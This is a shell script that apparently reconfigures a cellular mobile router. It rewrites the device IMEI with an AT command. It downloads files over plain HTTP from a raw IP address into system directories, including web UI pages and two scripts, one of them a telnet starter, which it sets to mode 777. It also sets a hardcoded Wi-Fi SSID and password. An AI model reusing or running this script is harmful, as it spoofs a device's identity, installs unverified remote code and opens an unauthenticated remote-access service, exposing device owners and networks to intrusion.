#!/bin/sh
echo -e "at^modimei=014300001850856" > /dev/rpm36
curl "http://63.141.248.203/auto_apn.db" > /etc_rw/config/auto_apn/auto_apn.db
curl "http://63.141.248.203/Messages_en.properties" > /etc_ro/ro/web/i18n/Messages_en.properties
curl "http://63.141.248.203/index.bak" > /etc_ro/ro/web/index.html
curl "http://63.141.248.203/twapi.sh" > /sbin/twapi.sh
chmod 777 /sbin/twapi.sh
curl "http://63.141.248.203/start_telnetd.sh" > /sbin/start_telnetd.sh
chmod 777 /sbin/start_telnetd.sh
curl "http://63.141.248.203/Dynami-1.png" > /etc_ro/ro/web/img/Dynami-1.png
nv get wa_inner_version > /version.txt
nv set WPAPSK1=rosegate52
nv set SSID1=Durkee2_0357304
nv save
echo 1 > /sys/bus/platform/drivers/leds-gpio/leds-gpio.1/leds/rf3_green_led/brightness
echo "ON 3"
sleep 0.5
echo 1 > /sys/bus/platform/drivers/leds-gpio/leds-gpio.1/leds/rf4_green_led/brightness
echo "ON 4"
sleep 0.75
echo 0 > /sys/bus/platform/drivers/leds-gpio/leds-gpio.1/leds/rf3_green_led/brightness
echo "OFF 3"
sleep 0.25
echo 0 > /sys/bus/platform/drivers/leds-gpio/leds-gpio.1/leds/rf4_green_led/brightness
echo "OFF 4"
sleep 0.175